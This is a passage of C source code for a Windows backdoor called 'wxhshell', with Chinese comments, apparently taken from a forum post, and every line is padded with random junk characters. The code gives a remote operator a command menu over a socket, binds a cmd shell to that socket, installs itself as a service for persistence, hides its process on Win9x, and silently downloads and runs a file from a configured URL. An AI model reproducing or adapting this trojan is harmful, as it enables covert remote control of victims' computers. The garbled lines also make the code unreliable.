  // 帮助 i G%h-  
  case '?': { Cj6+zJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +4Uxq{.K  
    break; l9"T"9C{  
  } 8UahoNrSt  
  // 安装 ;I^+u0ga  
  case 'i': { g* & |Eq/  
    if(Install()) c'8pTP%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c4'k-\JvT  
    else 9h$08l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jLZ^EM-  
    break; WE|-zo  
    } 'zg; *)x1/  
  // 卸载 wcI? .  
  case 'r': { S);SfNh%CL  
    if(Uninstall()) i:coNK)4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qP}187Q1  
    else +%%Ef]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }+{ ? Ms  
    break; 1K`7  
    } C =6.~&(  
  // 显示 wxhshell 所在路径 X*^^W_LH.  
  case 'p': { ^-&BGQM  
    char svExeFile[MAX_PATH]; PS=N]e7k'  
    strcpy(svExeFile,"\n\r"); 4|#@41\ B  
      strcat(svExeFile,ExeFile); jrKRXS  
        send(wsh,svExeFile,strlen(svExeFile),0); UbnX%2TW  
    break; :47bf<w|Y  
    } &# ?2zbZ  
  // 重启 v, VCbmc  
  case 'b': { TJY  [s-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2`?58&  
    if(Boot(REBOOT)) ip`oL_c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jrl'?`O  
    else { EL?6x  
    closesocket(wsh); qZS]eQW.  
    ExitThread(0); @3Lh/&  
    } Duu)8ru  
    break; Gz,?e]ZV  
    } eq!>~: #  
  // 关机 >$RQ  
  case 'd': { 5S EyAhB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m);0sb  
    if(Boot(SHUTDOWN)) iW # |N^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !d)Vr5x  
    else { rEF0A&5  
    closesocket(wsh); a^ _ _Z3g,  
    ExitThread(0); :Q=tGj\ G  
    } -*<4 hFb  
    break; T|%pvTIe  
    } [@&0@/s*t'  
  // 获取shell K|{IX^3)V  
  case 's': { ? +q(,P@*  
    CmdShell(wsh); BIk0n;Kz<L  
    closesocket(wsh); xRI7_8Jpyn  
    ExitThread(0); 8?za&v  
    break; RZgklEU  
  } Biva{'[m  
  // 退出 A%[ BCY_  
  case 'x': { s.#%hPX{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |}-bMQ|  
    CloseIt(wsh); _-M27^\vV  
    break; S#^2k!(|G  
    } 5OR2\h!XZt  
  // 离开 <?&Y_  
  case 'q': { >]!8f?,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cUH. ^_a  
    closesocket(wsh); WCdl 25L#  
    WSACleanup(); o _G,Ph!7  
    exit(1); sMn)[k vX  
    break; AVnH|31dC~  
        } C+m%_6<  
  } zFba("E Z  
  } $5]}]  
2I|`j^  
  // 提示信息 c;13V(Djy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /F thT  
} Xv&&U@7  
  } (^@rr[. o7  
d:X@zUR*)  
  return; X"k:+  
} yd|roG/  
Km)VOX[ZZ  
// shell模块句柄   L* 0$x  
int CmdShell(SOCKET sock) hb.^ &  
{ IrMUw$  
STARTUPINFO si; Lhz*o6)  
ZeroMemory(&si,sizeof(si)); sc0.!6^'V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =.48^$LWx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \x7^ly$_  
PROCESS_INFORMATION ProcessInfo; q^w@l   
char cmdline[]="cmd"; CQANex4&\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $SOFq+-T  
  return 0; L7`=ec<  
} =] +owl2  
m}$7d5  
// 自身启动模式 E^`-:L(_  
int StartFromService(void) w!eY)p<  
{ {M^BY,%*  
typedef struct [KMNMg  
{ w:VD[\h  
  DWORD ExitStatus; TFAd  
  DWORD PebBaseAddress;  3cA '9  
  DWORD AffinityMask; 4aGVIQ  
  DWORD BasePriority; $VxKv7:  
  ULONG UniqueProcessId; GiK4LJ~cH)  
  ULONG InheritedFromUniqueProcessId; E~y( @72)  
}   PROCESS_BASIC_INFORMATION; hjgB[ &U>  
 W<@9ndvH  
PROCNTQSIP NtQueryInformationProcess; ib\_MNIb  
Tfz _h~D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KPrH1 [VU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _qO'(DKylC  
Tpd|+60g  
  HANDLE             hProcess; F+SqJSa  
  PROCESS_BASIC_INFORMATION pbi; 4~K%,K+Du  
j2RdBoCt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0sA+5*mdM  
  if(NULL == hInst ) return 0; KSAE!+  
;I/ A8<C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i,B<k 0W9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dJjkH6%}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4o<rj4G>  
#I"s{*  
  if (!NtQueryInformationProcess) return 0; _M) G  
2j;9USZ p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F;L8FL-  
  if(!hProcess) return 0; Fy$f`w_H@  
B2,c_[UZ.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q|g>;_  
8CUlE-R5  
  CloseHandle(hProcess); bP Q=88*  
6E#znRi6IE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dSI<s^n  
if(hProcess==NULL) return 0; Ii&\LJ  
RG.wu6Av  
HMODULE hMod; v{X<6^g  
char procName[255]; .%EYof  
unsigned long cbNeeded; NZ"nG<;5  
r])V6 ^U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 82M` sk3.  
U0;pl2  
  CloseHandle(hProcess); VTa%  
5HaI$>h6  
if(strstr(procName,"services")) return 1; // 以服务启动 c;Gf$9?iC  
c`@";+|r  
  return 0; // 注册表启动  b]gVZ-  
} Yi j^hs@eV  
@h9QfJ_f  
// 主模块 DF>3)oTF  
int StartWxhshell(LPSTR lpCmdLine) 4a=QTq0p  
{ aka)#0l .  
  SOCKET wsl; akF T 0@9  
BOOL val=TRUE; 7^7Jh&b)/  
  int port=0; #U(kK(uO  
  struct sockaddr_in door; `&9iC 4P  
63i&<  
  if(wscfg.ws_autoins) Install(); 3$_JNF`  
dmWCNeja.  
port=atoi(lpCmdLine); T#<Q[h=  
(6Ciqf8  
if(port<=0) port=wscfg.ws_port; !nsx!M  
%:v<&^oDlm  
  WSADATA data; ?>Ngsp>-P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [MuZ^'dR  
?t5<S]'r$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;0U*N& f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HbRvU}C1  
  door.sin_family = AF_INET; >6R3KJe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r )HZaq  
  door.sin_port = htons(port); /9=r.Vxh  
oY+p;&H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { THlQifA!  
closesocket(wsl); =I aWf  
return 1; c5_/i7  
} iu?gZVyka  
Bi2 c5[3  
  if(listen(wsl,2) == INVALID_SOCKET) { shR|  
closesocket(wsl); UwxszEHC  
return 1; e#)NYcr6  
} P{x6e/  
  Wxhshell(wsl); %Z p|1J'"  
  WSACleanup(); \Si p  
1F_$[iIX]  
return 0; \,fa"^8  
PXyv);#Q`  
} >(-A"jf  
*4e?y  
// 以NT服务方式启动 >C19Kie72  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]}kw'&  
{ ap8q`a{j^  
DWORD   status = 0; 4l7 Ny\J  
  DWORD   specificError = 0xfffffff; zn>+ \  
wBvVY3VQ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =P%&]5ts  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Q6RTH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ; NH^+h  
  serviceStatus.dwWin32ExitCode     = 0; $}Ab R:z  
  serviceStatus.dwServiceSpecificExitCode = 0; )3)7zulnXH  
  serviceStatus.dwCheckPoint       = 0; L+*:VP6WD  
  serviceStatus.dwWaitHint       = 0; : 0 ,yq?M  
4BSqL!i(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $}.+}'7$  
  if (hServiceStatusHandle==0) return; 1+gFfKq  
|;7mDhj=  
status = GetLastError(); b8_F2  
  if (status!=NO_ERROR) |j-ng;  
{ $_iE^zZaU^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4&=</ok6`0  
    serviceStatus.dwCheckPoint       = 0; \ @ fKKb|  
    serviceStatus.dwWaitHint       = 0; xr{Ym99E$  
    serviceStatus.dwWin32ExitCode     = status; WQ}wQ:]  
    serviceStatus.dwServiceSpecificExitCode = specificError; m^0vux  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F(#?-MCs  
    return; $btu=_|f  
  } cS'{h  
zPx R=0|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W7Y@]QMX  
  serviceStatus.dwCheckPoint       = 0; ggL/7I(  
  serviceStatus.dwWaitHint       = 0; + c+i u6+"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P6O\\,B1A  
} $~iZaX8&  
zPc"r$'0 U  
// 处理NT服务事件,比如:启动、停止 x+j@YWDpG"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) */l;e<E  
{ aG83@ABx  
switch(fdwControl) "a= Hr4C*r  
{ vc&v+5Y  
case SERVICE_CONTROL_STOP: pY@QR?F\  
  serviceStatus.dwWin32ExitCode = 0; !6 L!%Oi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1f<R,>  
  serviceStatus.dwCheckPoint   = 0; #G.eiqh$a  
  serviceStatus.dwWaitHint     = 0; aopZ-^  
  { [gpO?'~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gHp*QL\?9  
  } ^?Mp(o  
  return; :09NZ !!  
case SERVICE_CONTROL_PAUSE: jLVG=rOn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yKoZj   
  break; a_V\[V{R=  
case SERVICE_CONTROL_CONTINUE: _FYA? d}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hf@4p'  
  break; e`s1z|h  
case SERVICE_CONTROL_INTERROGATE: '9Z`y_~)G  
  break; In^mE(8YO  
}; >7PQOQMW'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MzX&|wimb  
} =T,Q7Dh  
Sz@z 0'  
// 标准应用程序主函数 T{k_3[{0o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gk{ 'U  
{ !9WGZfK+0Y  
gK QJ^a\!  
// 获取操作系统版本 >]pZ;e$  
OsIsNt=GetOsVer(); |67Jw2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L?j0t*do  
j(Lz& *4  
  // 从命令行安装 t\hnnu`Pq  
  if(strpbrk(lpCmdLine,"iI")) Install(); Yu\$Y0 {]  
N?ccG\t  
  // 下载执行文件 R\5,H!V9n  
if(wscfg.ws_downexe) { &F uPd}F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ai1"UYk\\Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); J<;io!  
} &J&'J~N  
>jsY'Bm  
if(!OsIsNt) { U?sHh2*  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tj#S')s8  
HideProc(); :31_WJ^  
StartWxhshell(lpCmdLine); ()IZ7#kL?  
} Ik$$Tn&;  
else le\-h'D  
  if(StartFromService()) !:!(=(4$P  
  // 以服务方式启动 pE&G]ZC  
  StartServiceCtrlDispatcher(DispatchTable); V ml 6\X  
else wn5OgXxG<  
  // 普通方式启动 B{`adq?pW  
  StartWxhshell(lpCmdLine); }bv+^#  
PPB/-F]rr  
return 0; (s,&,I=@  
}
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只看该作者 1 发表于: 2006-10-10
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